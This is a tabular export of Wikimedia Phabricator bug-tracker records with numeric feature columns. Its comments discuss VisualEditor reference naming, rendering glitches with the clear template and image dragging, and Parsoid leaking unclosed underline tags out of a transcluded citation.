It's no longer possible to specify a name even when creating a new reference.",,,1484857993,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,185,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,6.0,6.0,0.0,0.0,3.9444444444444446,0.9444444444444444,"QUOTE

It's no longer possible to specify a name even when creating a new reference."
427362,VisualEditor: Be able to name references manually in the reference dialog,"At the triage meeting on 11 March it was agreed that this is too complex and imprecise to keep as a Q3 objective, but that a much more on-point task, {T92432}, could be done instead.",,,1426548049,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,True,,,89,,2.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,9.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,16.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,3.441860465116279,0.8837209302325582,"At the triage meeting on 11 March it was agreed that this is too complex and imprecise to keep as a Q3 objective, but that a much more on-point task, {T92432}, could be done instead."
420918,VisualEditor: Be able to name references manually in the reference dialog,"Here's another idea for an automatically suggested (but still editable) ref name that would work with manually formatted citations:  

Use the longest text string is in the citation, appending numbers as necessary to keep the names unique.  You might end up with a lot of refs named ""September"", but it in many cases it will pick up the most significant keyword in the source's title.",,,1425493648,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,87,,1.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,5.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,14.0,1.0,0.0,3.0,0.0,4.0,0.0,1.0,3.0,0.0,1.0,0.0,3.0,0.0,4.102564102564102,0.8205128205128205,"Here's another idea for an automatically suggested (but still editable) ref name that would work with manually formatted citations:  

Use the longest text string is in the citation, appending numbers as necessary to keep the names unique.  You might end up with a lot of refs named ""September"", but it in many cases it will pick up the most significant keyword in the source's title."
417835,VisualEditor: Be able to name references manually in the reference dialog,"The citoid extension could definitely come up with an automated reference name, but that should be filed as a separate issue as a feature request :). For editing citations, the extension uses the same reference dialog as the rest of VE. ",,,1424976215,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,86,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,7.0,0.0,2.0,18.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,4.355555555555555,0.8,"The citoid extension could definitely come up with an automated reference name, but that should be filed as a separate issue as a feature request :). For editing citations, the extension uses the same reference dialog as the rest of VE. "
417816,VisualEditor: Be able to name references manually in the reference dialog,Perhaps Citoid could suggest a ref name.,,,1424975287,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,86,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Perhaps Citoid could suggest a ref name.
247110,VisualEditor: Be able to name references manually in the reference dialog,*** Bug 57459 has been marked as a duplicate of this bug. ***,,,1414104088,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,True,,,68,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 57459 has been marked as a duplicate of this bug. ***
247104,VisualEditor: Be able to name references manually in the reference dialog,"Useful for default would be to read from the parameters of the cite template if provided. The following would be a useful preference order I think 
1. Lastname and Year (e.g. Smith2013)
2. Author and year (e.g. Bob Smith2013)
3. Lastname and serial number (e.g. Smith001)
4. Title (first 3 words) and year (e.g. FreddieStarrAte1986)
5. domain, underscore, page name (If only a bare url is given) (e.g. bbc_magazine-23969607)
6. fist alphabetic string in reference (when neither a template or a url) and a string of four digits from the reference (e.g. Jones1999)
7. fist alphabetic string in reference and a serial number (when neither a template or a url and no sequence of four digits is present) (e.g. Brown001)",,,1378935773,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.5,0.0,4.0,1.5,0.0,0.0,1.0,5.0,0.0,0.0,0.5,0.0,0.5,0.0,6.0,6.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,20.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,7.0,2.5,8.5,2.5,6.5,7.5,0.0,0.0,0.0,0.0,1.5,0.0,6.5,0.0,0.5,6.5,5.0,0.0,0.0,0.0,0.5,0.0,1.5,5.0,0.0,0.0,0.0,0.0,2.0,3.77998417721519,0.5656645569620253,"Useful for default would be to read from the parameters of the cite template if provided. The following would be a useful preference order I think 
1. Lastname and Year (e.g. Smith2013)
2. Author and year (e.g. Bob Smith2013)
3. Lastname and serial number (e.g. Smith001)
4. Title (first 3 words) and year (e.g. FreddieStarrAte1986)
5. domain, underscore, page name (If only a bare url is given) (e.g. bbc_magazine-23969607)
6. fist alphabetic string in reference (when neither a template or a url) and a string of four digits from the reference (e.g. Jones1999)
7. fist alphabetic string in reference and a serial number (when neither a template or a url and no sequence of four digits is present) (e.g. Brown001)"
247098,VisualEditor: Be able to name references manually in the reference dialog,"It would even be convenient if VisualEditor suggested a unique label for the ref, perhaps using the first alphabetic string of characters in the ref (usually the first author's last name).",,,1378918158,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,6.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.388888888888889,0.8611111111111112,"It would even be convenient if VisualEditor suggested a unique label for the ref, perhaps using the first alphabetic string of characters in the ref (usually the first author's last name)."
247092,VisualEditor: Be able to name references manually in the reference dialog,"Editor APerson at en.wp, is asking for this and suggests that the name of a reference could be set in the ""Options"" section along with the group name.",,,1375511477,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,9.0,3.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,22.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.84375,0.875,"Editor APerson at en.wp, is asking for this and suggests that the name of a reference could be set in the ""Options"" section along with the group name."
247085,VisualEditor: Be able to name references manually in the reference dialog,"Actually, it even looks like the ability to name a reference has been removed from the reference creation interface. Expanding the scope of this request accordingly.

Being able name references is an important step to allow compatibility with the classic wikitext editor: human-readable names are much easier to use than names like "":5"".",,,1374250436,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,2,,2.0,0.0,0.0,2.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,14.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,4.46875,0.796875,"Actually, it even looks like the ability to name a reference has been removed from the reference creation interface. Expanding the scope of this request accordingly.

Being able name references is an important step to allow compatibility with the classic wikitext editor: human-readable names are much easier to use than names like "":5""."
52551,VisualEditor: {{clear}} template phantom generated too large,"See http://en.wikipedia.org/wiki/United_States_v._Windsor right above the 'Dissents' heading. Clear template covers most of quote box.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50395",Low,25.0,1372738560,1429479450.0,PHID-USER-f6l3bchko2ogbi4poj24,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-32cvx6zgypptrjsr7sri,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.4782608695652173,0.5652173913043478,"See URL right above the 'Dissents' heading. Clear template covers most of quote box.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
446017,VisualEditor: {{clear}} template phantom generated too large,"I can no longer reproduce this, nor the issue in either of the duped bugs (T53872, T54431). (Note that you need to look at older versions of the articles, as the problematic markup was changed since the bugs were filed.)

For future reference, here's a copy Jalexander's screenshot above: {F117777}",,,1429479438,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-32cvx6zgypptrjsr7sri,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,11.0,3.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.787878787878788,0.803030303030303,"I can no longer reproduce this, nor the issue in either of the duped bugs (T53872, T54431). (Note that you need to look at older versions of the articles, as the problematic markup was changed since the bugs were filed.)

For future reference, here's a copy Jalexander's screenshot above: {F117777}"
246261,VisualEditor: {{clear}} template phantom generated too large,*** Bug 52431 has been marked as a duplicate of this bug. ***,,,1395360523,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32cvx6zgypptrjsr7sri,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52431 has been marked as a duplicate of this bug. ***
246254,VisualEditor: {{clear}} template phantom generated too large,*** Bug 51872 has been marked as a duplicate of this bug. ***,,,1377830855,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32cvx6zgypptrjsr7sri,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51872 has been marked as a duplicate of this bug. ***
246248,VisualEditor: {{clear}} template phantom generated too large,"Covers most of the box appears to be for latest chrome (what I have). Other report below from FF:

http://i.imgur.com/rAJqIsa.png from FF23 (huge, on top of whole quote box and appears to be pushing other content away too)",,,1372739147,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-32cvx6zgypptrjsr7sri,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,13.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,17.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,3.4565217391304346,0.8260869565217391,"Covers most of the box appears to be for latest chrome (what I have). Other report below from FF:

URL from FF23 (huge, on top of whole quote box and appears to be pushing other content away too)"
52548,Direct link in revision history to report VisualEditor errors for specific change,"https://en.wikipedia.org/w/index.php?title=Colorado_River&diff=562465192&oldid=562442392

When I go here, I have several options for what I can do with the edit:

> Revision as of 19:24, 1 July 2013 (edit) (undo) (thank)

I'd like another option that says ""(this edit was made with VisualEditor and introduced a problem; report it here)"" or something like that. A JavaScript gadget would be dandy, but I'm not picky about the implementation details.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Low,25.0,1372734540,1729515165.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-clyi3kkewgt6by3dskxa,task_description,declined,True,c1,3,False,False,False,0,,1.0,1.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,4.0,6.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,4.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,0.0,9.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,2.0,14.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,6.0,3.0,0.0,2.0,0.0,7.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7888888888888888,0.7111111111111111,"URL

When I go here, I have several options for what I can do with the edit:

QUOTE

I'd like another option that says ""(this edit was made with VisualEditor and introduced a problem; report it here)"" or something like that. A JavaScript gadget would be dandy, but I'm not picky about the implementation details.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
2438664,Direct link in revision history to report VisualEditor errors for specific change,"This is probably not needed these days. VisualEditor no longer introduces errors in articles, certainly not at a rate that would demand a prominent action to report them.",,,1729515165,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-clyi3kkewgt6by3dskxa,task_subcomment,,True,c1,3,True,,,590,,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,6.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,3.0,0.0,3.0,0.0,0.0,4.612903225806452,0.9032258064516129,"This is probably not needed these days. VisualEditor no longer introduces errors in articles, certainly not at a rate that would demand a prominent action to report them."
246096,Direct link in revision history to report VisualEditor errors for specific change,"Rephrasing summary to reflect what the report is about (""Make it easier"" is vague and impossible to define when it's fixed).",,,1372760577,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-clyi3kkewgt6by3dskxa,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,7.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,4.0,4.0,0.0,0.0,3.8518518518518516,0.8518518518518519,"Rephrasing summary to reflect what the report is about (""Make it easier"" is vague and impossible to define when it's fixed)."
52537,"VisualEditor: ""Drag to move image"" is buggy in Safari 6","Screenshot of oddly collapsed resizable area

Not sure whether it is specific to Safari 6 but it seems a bit buggy.

Sometimes when holding down the mouse button the cursor won't change from a  ""move"" cursor to a ""drag/add"" cursor (as if it is a regular hover, ""move"" until it hits the edge of the image and then becomes a regular pointer).

Also when dragging and dropping sometimes it seems to separate the image itself and the thumb container is left behind (!).

When resizing it seems to sometimes (sorry, can't be move specific yet) collapse into a single dot (see screenshot).

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11549}",Low,25.0,1372721760,1385379064.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-7b3ttjryq7h2dwfsiked,task_description,resolved,True,c1,3,True,False,False,0,,0.0,0.0,0.0,0.5,1.5,5.5,1.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,8.0,7.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,5.0,1.0,4.0,0.5,0.0,2.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.5,2.5,6.0,3.0,2.5,6.5,0.0,0.0,0.5,0.0,3.5,0.5,0.5,0.0,4.0,7.0,1.5,0.0,3.0,0.0,4.0,0.0,2.0,3.0,0.5,2.5,0.0,0.0,0.0,3.648496835443038,0.6728639240506329,"Screenshot of oddly collapsed resizable area

Not sure whether it is specific to Safari 6 but it seems a bit buggy.

Sometimes when holding down the mouse button the cursor won't change from a  ""move"" cursor to a ""drag/add"" cursor (as if it is a regular hover, ""move"" until it hits the edge of the image and then becomes a regular pointer).

Also when dragging and dropping sometimes it seems to separate the image itself and the thumb container is left behind (!).

When resizing it seems to sometimes (sorry, can't be move specific yet) collapse into a single dot (see screenshot).

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11549}"
245179,"VisualEditor: ""Drag to move image"" is buggy in Safari 6",Seems to now be fixed.,,,1385379064,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7b3ttjryq7h2dwfsiked,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Seems to now be fixed.
245172,"VisualEditor: ""Drag to move image"" is buggy in Safari 6","Created attachment 12723
Screenshot of misplaced image inspector

It also seems to take about a second for it to apply when releasing the mouse, so the user can continue to drag it else where and then after about 2 seconds into the second drag the image moves back and actually moves to where the first drag put it. It is at this point that the inspector stays behind when dropping near another image (see screenshot).

**Attached**: {F11550}",,,1372721910,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7b3ttjryq7h2dwfsiked,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,5.0,1.0,5.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,7.0,5.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,5.0,13.0,2.0,0.0,0.0,0.0,5.0,0.0,4.0,1.0,0.0,2.0,0.0,0.0,0.0,4.010869565217392,0.7065217391304348,"Created attachment 12723
Screenshot of misplaced image inspector

It also seems to take about a second for it to apply when releasing the mouse, so the user can continue to drag it else where and then after about 2 seconds into the second drag the image moves back and actually moves to where the first drag put it. It is at this point that the inspector stays behind when dropping near another image (see screenshot).

**Attached**: {F11550}"
52536,Unclosed formatting elements leaking out of transclusions,"http://parsoid.wmflabs.org/en/User:Adjwilley/sandbox10?oldid=562331693

Relevant wikitext:

*{{Cite book| last=Fádil-i-Mázindarání | first= Asadu'lláh | authorlink = Mírzá Asadu’llah Fádil Mázandarání | year=1967 | title=Asráu'l-Á<u>th<u>ár, Vol.I| pages= 453 | publisher=Bahá'í Publishing Trust, Tehran | url = http://www.h-net.org/~bahai/areprint/authors/mazandarani/asrar.htm | ref=harv}}

(note the <u> isn't opened then closed, but double-opened)

Output HTML (with data-*, about and a few others stripped):

<li><span typeof=""mw:Transclusion""><a rel=""mw:WikiLink"" href=""..."">Fádil-i-Mázindarání, Asadu'lláh</a> (1967). <a rel=""mw:ExtLink"" href=""...""><i>Asráu'l-Á<u>th<u>ár, Vol.I</u></u></i></a><u><u>. Bahá'í Publishing Trust, Tehran. p.<span typeof=""mw:Entity"">&nbsp;</span>453.</u></u></span><u><u><span class=""Z3988""><span style=""display:none;""><span typeof=""mw:Entity"">&nbsp;</span></span></span></u></u></li><u><u>

<li>(next item here, note how we're still inside of <u><u>)

--------------------------
**Version**: unspecified
